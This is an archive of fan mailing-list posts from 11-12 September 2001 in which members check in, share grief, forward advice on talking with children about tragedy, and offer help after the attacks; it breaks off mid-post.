> > Christian...but I 
> > want you to know that I'm praying for all of you in
> > New 
> > York or close to the Pentagon.  
> 
> I am not Christian but I still pray. My heart has been
> with the US today. Flights are being cancelled here in
> Canada too to handle the influx of international
> flights.
> 
> I think I'm about ready to cry. They're calling for
> blood donations on TV now for Washington and NYC. 
> 
> Angela
> 





From blpurdom at yahoo.com  Tue Sep 11 17:43:52 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 11 Sep 2001 17:43:52 -0000
Subject: New Yorkers/Washington DCers
In-Reply-To: <20010911165153.3192.qmail@web11701.mail.yahoo.com>
Message-ID: <9nligo+gtht@eGroups.com>

I wanted to get online as soon as possible to find out if the folks 
in NYC and DC are all right.  I hope the phone line problems that 
might be preventing those folks from getting online are resolved 
soon.  On the news here in Philadelphia they are telling people not 
to try to phone NY or DC, but there is a Red Cross phone number you 
can call to try to locate family members in NY.

I'm simply in shock.  I probably haven't been this shocked since 
Oklahoma City.  I was at the dentist's when the news came about the 
two towers collapsing--they had the radio on there.  Then I found out 
that the Philadelphia schools were being dismissed at noon.  The 
school tried to call me, but of course, I wasn't home.  They called 
my husband and he couldn't remember our dentist's name.  His brain 
froze in the shock of the situation.  So he called his dad, who ALSO 
could not remember the dentist's name (he has the same dentist).  So 
he walked over to the office and told me what I already knew and gave 
me some cab fare since I was originally planning to go home by bus.  
Well, I wound up running 23 blocks to the kids' school because of the 
total gridlock downtown.  The sidewalks are full of people too, half 
of them shell-shocked, half of them with cell-phones glued to their 
heads getting more news.

We don't know what to tell our kids.  How do you explain the 
unexplainable?  How to you explain people insane enough to kill 
themselves and thousands of other people for--what?  What ARE they 
doing it for?  I just hope the missing planes land soon.  The stories 
I've been hearing about Pittsburgh are conflicting and harrowing; I 
think I'm just going to go back to watching television until I can't 
stand it any more.  I already went through a box of tissues watching 
for half an hour before I got online and I can barely see my monitor.

Everyone in New York and Washington, please take care and know that 
people around the world are praying for and thinking about you.

--Barb





From tgrzdlphns at yahoo.com  Tue Sep 11 16:24:51 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 12:24:51 -0400
Subject: [HPFGU-OTChatter] Hoping everyone in NY, DC etc is okay...
In-Reply-To: <9nld68+fskf@eGroups.com>
Message-ID: <5.0.2.1.2.20010911122220.037a8290@pop.mail.yahoo.com>

At 04:12 PM 9/11/2001 +0000, you wrote:
>This is so dreadful.  I was stuck in a meeting when I heard some
>mention of a disaster in New York, and have only just managed to get
>out, find out what happened, and check in here.
>
>I'm stunned.
>
>I know Heidi and Penny have already asked, but could people in the
>affected areas PLEASE, PLEASE let us know they're okay?
>
>Neil


Hi
<waving shakily>

I'm about 10 miles outside of DC and can see the pentagon smoke from my 
bedroom window.

Everything is ok here, except my nerves....and emotions of course. I was 
flying on the Dulles to LAX flight this time last week :(

I can't stop crying....all these poor souls!

Bree




From sinead at bu.edu  Tue Sep 11 18:12:52 2001
From: sinead at bu.edu (sinead at bu.edu)
Date: Tue, 11 Sep 2001 18:12:52 -0000
Subject: Hoping everyone in NY, DC etc is okay...
In-Reply-To: <5.0.2.1.2.20010911122220.037a8290@pop.mail.yahoo.com>
Message-ID: <9nlk74+fvnn@eGroups.com>

Hey all,

This has really affected us here in MN as well (Mall of America and the 
local mall here in Rochester are shut down for the day). One of the bin 
Laden people were arrested near the Mayo Clinic, which shook me, 
especially since I live near the Mayo Clinic campus. The Clinic is on 
alert and isn't closing until they get notice from the CIA. 

I'm so shocked that the Palestinians are celebrating this happening to 
America. 

I hope the New Yorkers, Bostonians, and the DCers are ok. 

Sinead





From rainy_lilac at yahoo.com  Tue Sep 11 18:18:16 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 11 Sep 2001 18:18:16 -0000
Subject: New York
In-Reply-To: <F214ywqZP1NFE8EKHoT000057c4@hotmail.com>
Message-ID: <9nlkh8+gaqj@eGroups.com>


New Yorkers, please check in if you can!

This is a heart-wrenching day-- I just found out that the fiance of 
one of my friends works in the World Trade Center. I can't get 
through to them, and I have heard that phone lines, computer lines, 
etc. are in chaos.

I am praying for all of you, and I hope you are okay!!!


Suzanne




From ldenell at apl.org  Tue Sep 11 18:55:25 2001
From: ldenell at apl.org (ldenell at apl.org)
Date: Tue, 11 Sep 2001 13:55:25 -0500
Subject: talking w/kids about terrible events
Message-ID: <DF4AB22E5945D311977000A0C9E050606DEF66@apl.org>

Hi everyone - 

I mostly just lurk on all the groups, but Barb's asking about talking with
kids about tragedies has prompted me to write. I am copying a message that
came through on one of my library-related listservs this morning. Hope it
helps you parents and teachers (and everyone else) get through the night.

Talking with Children 
When the Talking Gets Tough

Wars, shootings in schools, natural disasters, deaths at sporting events?as
adults we hope that these and other tragic outcomes will never happen
anywhere and definitely will not impact the children and youth we care
about.  We would like to protect those young minds from the pain and horror
of difficult situations.  We would like to ensure that they have happy,
innocent, and carefree lives.

So what is a parent, teacher, or other caring adult to do when disasters
fill the airwaves and the consciousness of society?

Don?t assume that the kids don?t know about it.  They probably know more
than you think.  The reality of today?s world is that news travels far and
wide.  Adults and children learn about disasters and tragedies shortly after
they occur, and live video footage with close-ups and interviews are part of
the report.  Children and youth are exposed to the events as soon as they
can watch TV or interact with others who are consumers of the news.  Not
talking about it does not protect children.  In fact, you may communicate
that the subject is taboo and that you are unavailable if you remain silent.

Be available and ?askable.?  Let kids know that it is okay to talk about the
unpleasant events.  Listen to what they think and feel.  By listening, you
can find out if they have misunderstandings, and you can learn more about
the support that they need.  You do not need to explain more than they are
ready to hear, but be willing to answer their questions.

Share your feelings. Tell young people if you feel afraid, angry, or
frustrated.  It can help them to know that others also are upset by the
events.  They might feel that only children are struggling.  If you tell
them about your feelings, you also can tell them about how you deal with the
feelings.  Be careful not to overwhelm them or expect them to find answers
for you.

Help children use creative outlets like art and music to express their
feelings.  Children may not be comfortable or skilled with words, especially
in relation to difficult situations.  Using art, puppets, music, or books
might help children open up about their reactions.  They may want to draw
pictures and then destroy them, or they could want to display them or send
them to someone else.  Be flexible and listen.

Reassure young people and help them feel safe. When tragic events occur,
children may be afraid that the same will happen to them.  Some young
children may even think that it already did happen to them.  It is important
to let them know that they are not at risk?if they are not.  Try to be
realistic as you reassure them, however.  You can try to support them and
protect them, but you can not keep all bad things from happening to
children.  You can always tell them that you love them, though.  You can say
that, no matter what happens, your love will be with them.  That is
realistic, and often that is all the children need to feel better.

Support children?s concern for people they do not know. Children often are
afraid not only for themselves, but also for people they do not even know.
They learn that many people are getting hurt or are experiencing pain in
some way.  They worry about those people and their well being.  In some
cases they might feel less secure or cared for themselves if they see that
others are hurting.  It is heartwarming and satisfying to observe this level
of caring in children.  Explore ways to help others and ease the pain.

Look for feelings beyond fear.  After reassuring kids, don?t stop there.
Studies have shown that children also may feel sad or angry.  Let them
express that full range of emotions.  Support the development of caring and
empathy.  Be careful not to encourage the kind of response given by one
child: ?I don?t care if there?s a war, as long as it doesn?t affect me and
my family.?

Help children and youth find a course of action. One important way to reduce
stress is to take action.  This is true for both adults and children.  The
action may be very simple or more complex.  Children may want to write a
letter to someone about their feelings, get involved in an organization
committed to preventing events like the one they are dealing with, or send
money to help victims or interventionists.  Let the young people help to
identify the action choices.  They may have wonderful ideas.

Take action and get involved in something. It is not enough to let children
take action by themselves.  Children who know that their parents, teachers,
or other significant caregivers are working to make a difference feel hope.
They feel safer and more positive about the future.  So do something.  It
will make you feel more hopeful, too.  And hope is one of the most valuable
gifts we can give children and ourselves.

List members, wherever you are, my thoughts are with you.

- Linda

Linda DeNell 
Children's Librarian 
Appleton Public Library 
(920) 832-6189 



From pbarhug at earthlink.net  Tue Sep 11 19:04:38 2001
From: pbarhug at earthlink.net (Pam Hugonnet)
Date: Tue, 11 Sep 2001 15:04:38 -0400
Subject: [HPFGU-OTChatter] Hoping everyone in NY, DC etc is okay...
References: <9nld68+fskf@eGroups.com>
Message-ID: <3B9E6046.D4FBAB2C@earthlink.net>



Neil Ward wrote:

> This is so dreadful.  I was stuck in a meeting when I heard some
> mention of a disaster in New York, and have only just managed to get
> out, find out what happened, and check in here.
>
> I'm stunned.
>

    I'm in Silver Spring, MD--just over the city line of D.C.; many of
my daily activities are in the city.  A large portion of my family is in
Manhattan.  Fortunately, everyone is okay.  Things here are very
chaotic; people are uspet and frightened and confused.  I'm so shocked I
cannot even begin to process it all.

I hope that everyone else is okay as well.
My prayers and thoughts are with those innocent victims of these
horrible acts.

drpam


[Non-text portions of this message have been removed]




From yael_pou at hotmail.com  Tue Sep 11 19:56:48 2001
From: yael_pou at hotmail.com (yael_pou at hotmail.com)
Date: Tue, 11 Sep 2001 19:56:48 -0000
Subject: New Yorkers/Washington DCers
In-Reply-To: <9nligo+gtht@eGroups.com>
Message-ID: <9nlqa0+uvbh@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:
> We don't know what to tell our kids.  How do you explain the 
> unexplainable?

I'm quite sure that in years to come, this will have been the first memory my five-year-old 
girl will have. I cancelled my afternoon meetings, came home, sat her in my lap (chased away 
the impish two-year-old) and allowed her to watch CNN with me. I don't think she can grasp 
the magnitude of this catastrophy, but before she went to sleep, she said, "Mommy, I'm very 
sad, too. I hope your friend is all right. Don't worry, we'll celebrate [Jewish] new-year on 
Monday, and it'll make you happy."

No. She doesn't really understand what has happened. But she will. Bit by bit.

In the mean time, we're all praying for my cousin (and close friend) who worked in the WTC. 
(God, I'm using past tense). Our only hope is that he hasn't made contact because he stayed 
there to help the wounded. He is the kind of guy to do that.

> Everyone in New York and Washington, please take care and know that 
> people around the world are praying for and thinking about you.

I'll join that pray and add a plea to let us know you're all right. I re-subbed to this 
list just for that.

Thanks, yael




From tgrzdlphns at yahoo.com  Tue Sep 11 20:32:34 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 16:32:34 -0400
Subject: [HPFGU-OTChatter] Hoping everyone in NY, DC etc is okay...
In-Reply-To: <3B9E6046.D4FBAB2C@earthlink.net>
References: <9nld68+fskf@eGroups.com>
Message-ID: <5.0.2.1.2.20010911163209.027f1670@pop.mail.yahoo.com>

At 03:04 PM 9/11/2001 -0400, you wrote:


>Neil Ward wrote:
>
> > This is so dreadful.  I was stuck in a meeting when I heard some
> > mention of a disaster in New York, and have only just managed to get
> > out, find out what happened, and check in here.
> >
> > I'm stunned.
> >
>
>     I'm in Silver Spring, MD--just over the city line of D.C.; many of
>my daily activities are in the city.  A large portion of my family is in
>Manhattan.  Fortunately, everyone is okay.  Things here are very
>chaotic; people are uspet and frightened and confused.  I'm so shocked I
>cannot even begin to process it all.
>
>I hope that everyone else is okay as well.
>My prayers and thoughts are with those innocent victims of these
>horrible acts.
>
>drpam


{{{{Hugs}}}} Drpam from someone the other side of the city!

Hang in there!

Bree




From michelleapostolides at lineone.net  Tue Sep 11 20:10:59 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Tue, 11 Sep 2001 21:10:59 +0100
Subject: [HPFGU-OTChatter] Re: New Yorkers/Washington DCers
References: <9nlqa0+uvbh@eGroups.com>
Message-ID: <02b101c13afd$e1fa51e0$a951063e@tmeltcds>

| I'll join that pray and add a plea to let us know you're all right. I
re-subbed to this
| list just for that.
Yael, glad to see you back, even under such sad circumstances. Our
thoughts are with you.

Michelle




From lyorkus at yahoo.com  Tue Sep 11 21:17:09 2001
From: lyorkus at yahoo.com (lyorkus at yahoo.com)
Date: Tue, 11 Sep 2001 21:17:09 -0000
Subject: Response to Tragedy
Message-ID: <9nlv0l+sn63@eGroups.com>

I'm having some survivor guilt.  I was going to go to New York today 
for my voice lesson at Carnegie Hall, and of course I couldn't go.  I 
know other singers who have day jobs at the World Trade Center.  I 
already feel like I go to way too many funerals for friends who've 
died from AIDS.  I can't imagine how many people will be affected by 
this in the long run.

I recommended this on the cassie & Rhyssen list (hope you don't mind, 
Barb) and I'm recommending it here: go to Barb's fic on schnoogle and 
read the beginning of her chapter 26.  You don't have to know what's 
happening, just trust me.  It's Mad Eye Moody talking to a class 
about the aftermath of terrorism.  It's very wise and moving and made 
me cry to read it again.  The last bit of the scene is especially 
poignant.

I'm off right now.  I'm calling some of my atheist and agnostic 
friends to see if they want to go to Quaker meeting with me.  I need 
to go, but somehow, I don't want to go alone.  I've been praying and 
crying all day, so I feel just about prayed and cried out.  I hope 
the rest of the New Yorkers get a chance to check in soon and that no 
one has lost any loved ones.

--Laurin





From tgrzdlphns at yahoo.com  Tue Sep 11 18:57:03 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 14:57:03 -0400
Subject: Community MB for discussing the attacks
In-Reply-To: <001101c1395d$e5c02080$4f1832d9@film>
References: <9nlj7q+5p77@eGroups.com>
Message-ID: <5.0.2.1.2.20010911145608.038280a0@pop.mail.yahoo.com>



Hi all
Obviously this is OT, sorry for that. There has been a message board set up 
at http://pub10.ezboard.com/bpoliticalchat  Stop by and share information, 
contact numbers and chat with us

Bree




From meboriqua at aol.com  Tue Sep 11 21:19:38 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 11 Sep 2001 21:19:38 -0000
Subject: Responding from New York City
Message-ID: <9nlv5a+3011@eGroups.com>

Hello Everyone!

It has been a terrible day here.  It was impossible for me to teach 
after I found out that the WTC had gone down and my students and I 
stayed glued to the radio until they were excused early.  I got a ride 
part of the way home, walked part of the way, took a cab a bit, and 
then walked the rest of the way (with a broken shoe), but I'm home 
safe and sound.  My family is also safe and sound - my sister and her 
husband just left our apartment a little while ago.

Just to let you all know how we New Yorkers are feeling - well, we are 
in shock.  The WTC is not only a symbol of the freedom that our 
country has, but it has been a major part of what makes NYC so great.  
I can't tell you how strange it is to see the footage of the beautiful 
NYC skyline and that the WTC is no longer there.  It is devastating 
and heartbreaking.  Thousands and thousands of people are in the 
streets, walking home from their midtown offices.  The city is pretty 
much shut down right now, and it very hard to get out and almost 
impossible to get into Manhattan unless one is on foot.

The footage of the WTC collapsing is jaw-dropping.  Some news stations 
are also sick enough to show people jumping from the WTC to their 
deaths - but I had to turn away from that.  NYC just won't be the same 
city from now on.  

The only nice thing about this is that complete strangers are helping 
one another - when we crossed over the Third Avenue bridge people were 
waiting with cold water to share.  A cab gave us a free ride for about 
20 blocks - wow.

Okay - I've said enough.  You all may not see me at the main site for 
a couple of days, but I am just fine here in NY.  Thank you all so 
much for being so caring and asking how we are doing here.  I love 
this site!

--jenny from ravenclaw and nyc ***************




From aprilgc at ivillage.com  Tue Sep 11 21:37:34 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Tue, 11 Sep 2001 21:37:34 -0000
Subject: Helping the stranded ... in the wake of this morning's tragedy
Message-ID: <9nm06u+3hdp@eGroups.com>

Hello all,

I just got a message from the owner of a web site that I get 
newsletters from that made me think. The man just sent his phone number 
to the list members, with the message that if we have friends or family 
stranded in San Antonio - have them call him and he'll do what he can.

I think we're all in shock, and we all want to help in some way. I just 
hadn't thought about ways to help the other people affected by the 
tragedy. This man has a remarkable idea. 

If you know anyone stranded in San Antonio, let me know, and I'll pass 
along his number. I'm in San Diego. If you have friends or family 
stranded here, let me know and I'll do what I can. Email me directly, I 
check every twenty minutes or so, but I'm on digest for this list.

I'm praying for all. 

April





From SKTHOMPSON_1 at msn.com  Tue Sep 11 22:17:58 2001
From: SKTHOMPSON_1 at msn.com (Kelley)
Date: Tue, 11 Sep 2001 22:17:58 -0000
Subject: Helping the stranded ... in the wake of this morning's tragedy
In-Reply-To: <9nm06u+3hdp@eGroups.com>
Message-ID: <9nm2im+81ch@eGroups.com>

--- In HPFGU-OTChatter at y..., aprilgc at i... wrote:
> Hello all,
> 
> I just got a message from the owner of a web site that I get 
> newsletters from that made me think. The man just sent his phone 
number to the list members, with the message that if we have friends 
or family stranded in San Antonio - have them call him and he'll do 
what he can.
> 
> I think we're all in shock, and we all want to help in some way. I 
just hadn't thought about ways to help the other people affected by 
the tragedy. This man has a remarkable idea. 
> 
> If you know anyone stranded in San Antonio, let me know, and I'll 
pass along his number. I'm in San Diego. If you have friends or 
family stranded here, let me know and I'll do what I can. Email me 
directly, I check every twenty minutes or so, but I'm on digest for 
this list.
> 
> I'm praying for all. 
> 
> April >>>>>

I'm in San Antonio, also, and if I can help in any way, please email 
me.  I've been glued to the television and computer all day, and will 
be all evening, too.  If there's anything I can do please contact 
me...

Kelley
skthompson_1 "at" msn.com




From carebair_23 at yahoo.com  Tue Sep 11 22:38:58 2001
From: carebair_23 at yahoo.com (Raechel Elizabeth)
Date: Tue, 11 Sep 2001 15:38:58 -0700 (PDT)
Subject: Question about New York City
In-Reply-To: <20010911165153.3192.qmail@web11701.mail.yahoo.com>
Message-ID: <20010911223858.32555.qmail@web20107.mail.yahoo.com>


The news said that WTC building #7 collapsed.  I was wondering if anyone could tell me what that is.  I knew there were the towers but had no idea there were more than those two buildings.  There have been no maps on the news giving me ideas where everything is in relationship to one another.  Hope someone can help me.  
Raechel Elizabeth~* 
I also reflect the feelings of all of those that have posted before me.  I pray that everyone is alright.



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[Non-text portions of this message have been removed]




From crabtree at ktc.com  Tue Sep 11 22:59:50 2001
From: crabtree at ktc.com (Jo)
Date: Tue, 11 Sep 2001 22:59:50 -0000
Subject: NEW YORKERS - PLEASE CHECK IN
In-Reply-To: <9nl9pr+7uo0@eGroups.com>
Message-ID: <9nm516+6i3v@eGroups.com>

--- In HPFGU-OTChatter at y..., "Kristin" <Alyeskakc at a...> wrote:
> 
> I hope that everyone in New York and D.C. are well. Just saw the 
> second Trade Tower collapse. My prayers go out to you all and hope 
> that you can check in when you have the chance to let us know you're 
> all okay.
> 
> Kristin

I have been at school all day hoping that all of you in New York 
and Washington D.C. are safe.  We first heard what was happening 
around nine this morning central time.  Not wanting to alarm the 
children, we waited to let the elementary children know what was 
happening. The high school has been watching on TV all day. The only 
information we have had in elementary has been snippets from parents 
and spouses calling in.  

Take care guys.  God bless.

Professor J.C. Phlash




From john at walton.to  Tue Sep 11 23:51:56 2001
From: john at walton.to (john at walton.to)
Date: Tue, 11 Sep 2001 19:51:56 EDT
Subject: Question about NYC
Message-ID: <106.57ff4ee.28cffd9c@aol.com>

Raechel Elizabeth said:

> 
> The news said that WTC building #7 collapsed.  I was wondering if anyone 
could 
> tell me what that is.  I knew there were the towers but had no idea there 
were 
> more than those two buildings.  There have been no maps on the news giving 
me 
> ideas where everything is in relationship to one another.  Hope someone can 
> help me.  
> Raechel Elizabeth~* 
> I also reflect the feelings of all of those that have posted before me.  I 
> pray that everyone is alright.

Contrary to popular belief, the WTC is (was...) not just the Twin Towers. 
There are (were...) a whole bunch of buildings around the Towers, including 
retail, train station, etc. It's all in the same complex.

--John

________________________________

John Walton -- john at walton.to

There is no such thing as a moral book or an immoral book. Books are well 
written or badly written. That is all.
--Oscar Wilde
________________________________



From witchwanda2002 at yahoo.com  Tue Sep 11 23:07:35 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Tue, 11 Sep 2001 16:07:35 -0700 (PDT)
Subject: Another Bostonian checking in
Message-ID: <20010911230735.55610.qmail@web13707.mail.yahoo.com>

All are well in Revere, Massachusetts(next door to
East Boston). Very sad day here for all the families
and lost loved ones. My husband and I, as well as the
boys, are very shaken up with such awful actions of
these unkown terrorists. That Senator was right in
calling this another Pearl Harbor! Yes, we are very
angry and sad about this whole awful situation! I just
pray they find out who did this!

Wanda and her very sad muggle family

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From aiz24 at hotmail.com  Wed Sep 12 00:25:28 2001
From: aiz24 at hotmail.com (aiz24 at hotmail.com)
Date: Wed, 12 Sep 2001 00:25:28 -0000
Subject: ADMIN: Chat open for talk about today's disaster now
Message-ID: <9nma1o+qlpg@eGroups.com>

Dear friends,

If you would like to connect with HPfGU folk about today's terrorist 
attack, please come on over to the chat.


Directions:

Go to http://chat.yahoo.com

Scroll down to the window with the Join Friend button

Click on a name in the window and then hit Join Friend



This is an open group--anyone who logs onto chat.yahoo.com can 
enter--but its existence is only being announced to HPfGU lists.

IM me (lupinesque on Yahoo! Messenger) if you run into trouble.  I 
will be on until 9 Eastern time, when I'll be in front of the TV for 
the president's address.

Thanks all for the wonderful support all day.

Amy Z
Magical Mod Squad 




From meboriqua at aol.com  Wed Sep 12 01:34:34 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 12 Sep 2001 01:34:34 -0000
Subject: Question about New York City
In-Reply-To: <20010911223858.32555.qmail@web20107.mail.yahoo.com>
Message-ID: <9nme3a+kfjq@eGroups.com>

--- In HPFGU-OTChatter at y..., Raechel Elizabeth <carebair_23 at y...> 
wrote:
> 
> The news said that WTC building #7 collapsed.  I was wondering if 
anyone could tell me what that is.  I knew there were the towers but 
had no idea there were more than those two buildings.  There have been 
no maps on the news giving me ideas where everything is in 
relationship to one another.  Hope someone can help me.  

Hi Raechel Elizabeth -

#7 is a building next to the WTC.  It is not as high (about 40 or so 
stories, I think).  The destruction of the WTC is what caused it to 
collapse as well, but everyone had been evacuated because the police 
and fire dept knew it would happen.

Hope that helps.

--jenny from ravenclaw *************************************




From miss_megan at dingoblue.net.au  Wed Sep 12 01:50:34 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Wed, 12 Sep 2001 01:50:34 -0000
Subject: Question about New York City
In-Reply-To: <9nme3a+kfjq@eGroups.com>
Message-ID: <9nmf1a+puri@eGroups.com>

--- In HPFGU-OTChatter at y..., meboriqua at a... wrote:
> --- In HPFGU-OTChatter at y..., Raechel Elizabeth <carebair_23 at y...> 
> wrote:
> > 
> > The news said that WTC building #7 collapsed.  I was wondering if 
> anyone could tell me what that is.  I knew there were the towers 
but 
> had no idea there were more than those two buildings.  There have 
been 
> no maps on the news giving me ideas where everything is in 
> relationship to one another.  Hope someone can help me.  
> 
> Hi Raechel Elizabeth -

I had the same question as you. If you go to http://www.nytimes.com/ 
and click on _Interactive Feature: The World Trade Center Attack_ it 
will show you how the buildings relate to each other.

My thoughts are will all of you in the US, and those of you who have 
relatives and friends affected by this horrible event.

take of yourselves

storm




From klaatu at primenet.com  Wed Sep 12 02:36:42 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Tue, 11 Sep 2001 19:36:42 -0700
Subject: Hatred never ceases by hatred
Message-ID: <MABBJPGEHBDBAKHGIBPOEEMCEFAA.klaatu@primenet.com>

I have done nothing today but watch CNN.  I've seen the films of the
tragedies probably a hundred times and each time I see it, the shock is like
the first time.  My heart goes out to the families of the people who have
been killed or injured.  I pray for the safety of all people all over the
world.  The temptation to feel hatred and the desire for revenge is strong.
But this remembered story (see below) kept running through my head, and I
hope no one will be offended by it. It speaks to all people involved in this
nightmare -- the victims and the perpetrators.

SML

The Dhammapada

   5. At any time in this world,
      Hatred never ceases by hatred,
      But through non-hatred it ceases
      This is an eternal law.

Maha Ghosananda, a respected Cambodian monk went into the refugee camps
where thousands of Cambodians had fled the terrible holocaust conducted by
Pol Pot. Every family had lost children, spouses, and parents to the ravages
of genocide, and their homes and temples had been destroyed. Maha Ghosanada
announced to the refugees that there would be a Buddhist ceremony the next
day, and all who wished to come would be welcome.

Since Buddhism had been desecrated by Pol Pot, people were curious if anyone
would go. The next day, over ten thousand refugees converged at the meeting
place to share in the ceremony. It was an enormous gathering. Maha Gosananda
sat for some time in silence on a platform in front of the crowd. Then he
began chanting the invocations that begin the Buddhist ceremony, and people
started weeping. They had been through so much sorrow, so much difficulty,
that just to hear the sound of those familiar words again was precious.

Some wondered what Maha Ghosanada would say. What could one possibly say to
this group of people? What he did next, in the company of thousands of
refugees, was begin to repeat the verse from the Dhammapada, a sacred
Buddist scripture:

       Hatred never ceases by hatred;
       But love alone is healed.
       This is an ancient and eternal law.

Over and over again Maha Ghosananda chanted this verse. These were people
who has as much cause to hate as anyone on earth. Yet as he sat there,
repeating this verse over and over, one by one, thousands of voices joined
together in unison: "Hatred never ceases by hatred: but by love alone is
healed. This is an ancient and eternal law." Out of the mouths of people who
had been wounded, oppressed, made homeless, aggrieved, and crushed by the
pain of war, came a prayer proclaiming the ancient truth about love, a truth
that was greater than all the sorrows they had seen and felt.

Legacy of the Heart,Wayne Muller



==================================




From carebair_23 at yahoo.com  Wed Sep 12 02:45:48 2001
From: carebair_23 at yahoo.com (carebair_23 at yahoo.com)
Date: Wed, 12 Sep 2001 02:45:48 -0000
Subject: Our Government Leaders
Message-ID: <9nmi8s+2a3e@eGroups.com>

I hope and I pray that our Leaders will take their time in making a 
decision on how to retaliate.  When they discover who did this I want 
them to make sure that the decision they make isn't something that 
all of us will look on now as a great thing and later wish we had 
never done.  I want us to do something much worse but I am not 
wanting to stoop to the terrorists dirty level.  I pray that all of 
us can pull together and fight this in a way in which we will respect 
ourselves for later.  I feel so helpless and I can offer no open 
mindedness at this time.  I am ready to just go and bomb the hell out 
of whoever did this. I realize that is not the solution and in the 
long run wouldn't make me feel any better.  Sorry for rambling but my 
parents are in bed and there is no one else to talk to.

Raechel Elizabeth~*~




From aprilgc at ivillage.com  Wed Sep 12 03:48:06 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Wed, 12 Sep 2001 03:48:06 -0000
Subject: Our Government Leaders
In-Reply-To: <9nmi8s+2a3e@eGroups.com>
Message-ID: <9nmltm+r6ok@eGroups.com>

--- In HPFGU-OTChatter at y..., carebair_23 at y... wrote:
> I hope and I pray that our Leaders will take their time in making a 
> decision on how to retaliate.  <snip> 
I am ready to just go and bomb the hell out of whoever did this. I 
realize that is not the solution and in the long run wouldn't make me 
feel any better.  Sorry for rambling but my parents are in bed and 
there is no one else to talk to.
> 
> Raechel Elizabeth~*~

I share your sentiments, and your prayers. I'm sure most people do -- 
probably more the "bomb them" thoughts, than the prayers or thoughts of 
reason, though. It would be so easy to justify "letting God sort them 
out": show everybody we're strong; bring the "bad guys" to justice; 
deter terrorist activity in the world; other governments think we 
should do it...I'm sure there are more "reasons". I pray that we are 
able to satisfy all those reasons without ending up with a solution 
that we are ashamed to tell our children about.

April





From find_sam at hotmail.com  Wed Sep 12 08:00:17 2001
From: find_sam at hotmail.com (Sam Brown)
Date: Wed, 12 Sep 2001 08:00:17 -0000
Subject: New Yorkers/Washington DCers
In-Reply-To: <14E74D519D@lincoln.treasurer.ohio-state.edu>
Message-ID: <9nn4mh+1q8d@eGroups.com>

Rachel wrote:
> I'm praying for all of you in New York or close to the Pentagon.

Me too - my heart and prayers go out to all of those people involved 
in these two awful, horrendous incidents. 

> Watching that second plane hit was heart wrenching.  And then to 
see the buildings collapse...it's almost not real.  Like a movie. 

I still don't think I've fully grasped what happened - I keep having 
awful reality checks. I just can't believe what's happened. I 
switched on the TV at 12.30am (Australian EST) to see one of the 
buildings in the WTC destroyed, the other on fire. I feel sick 
whenever I see the footage of the plane tearing through the building, 
or the towers collapsing, or the people desperately leaping from the 
uppermost floors of those buildings.

This is terrible; my thoughts are with all of you, particularly those 
closely involved with these tragic occurences.

Sam




From witchwanda2002 at yahoo.com  Wed Sep 12 10:43:06 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 12 Sep 2001 03:43:06 -0700 (PDT)
Subject: A Moment of Silence
Message-ID: <20010912104306.62475.qmail@web13702.mail.yahoo.com>

this moment of silence message is dedicated to the
thousands of innocent 
people who died in the horrible incident. take a
moment to reflect. 

Wanda and her very sad muggles 

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From aiz24 at hotmail.com  Wed Sep 12 11:09:40 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 12 Sep 2001 11:09:40 -0000
Subject: Happy Birthday, John!
Message-ID: <9nnfpk+t3de@eGroups.com>

Today is the birthday of John Walton, aka Moderator with Rock #47, 
Crazy Ivan, Singer of the Song of Time, and (occasionally) Singer of 
"My Heart Will Go On"!  I'm sure he isn't feeling too festive, so all 
the more reason to send best wishes along (you can send birthday 
greetings to john"at"walton.to or to this list).

Have a good one, John.  We all need to remember our blessings in a 
time like this, and your presence on earth is one of them.  Here's to 
you <raises butterbeer>.

Amy Z




From meboriqua at aol.com  Wed Sep 12 12:36:28 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 12 Sep 2001 12:36:28 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <9nnksc+9npa@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
 
> Have a good one, John.  We all need to remember our blessings in a 
> time like this, and your presence on earth is one of them.>

Hey John of the Golden Snitch Keychains -

I'm sure you, like most of us here in NYC (and probably all over the 
world) are pretty damned happy to be safe and sound and with your 
family right now.  Have a happy happy birthday - you are a good person 
who deserves it!

I have a feeling you won't be going back to school just yet - maybe 
some of us New Yorkers can meet up if you're still around this 
weekend.

--jenny from ravenclaw *****************************************




From fyregirl at cfl.rr.com  Wed Sep 12 13:01:28 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 12 Sep 2001 13:01:28 -0000
Subject: My Brothers and Sisters
Message-ID: <9nnmb8+s3hv@eGroups.com>

Yesterday in NYC I lost possibly hundreds of Brothers and Sisters.  
My Brothers and SIsters went rushing in to help the injured and 
rescue the trapped and recover the bodies when the first plane hit.  
Then the second plane hit.  They had no warning, just like the 
civilians that died.  Before the debris stopped falling, they were 
back in the first building and already into the second building to do 
their jobs.  

In the Fire Service we have 3 main objectives on the scene of any 
call.

#1 ... Life Safety.
#2 ... Incident Stabilization.
#3 ... Property conservation.

I think they knew there wasn't much they could do to save the top end 
of the buildings, but they sure as hell weren't giving up trying to 
find those trapped above the crash site.  They knew, as I did 
watching it on TV, that the buildings were going to collapse.  Yet 
they stayed.  They stayed and helped so many people.  And now, so 
many of them are dead.

The Fire Service has lost many of its Brothers and Sisters yesterday, 
and even into today.  I know you are all praying (I use that term 
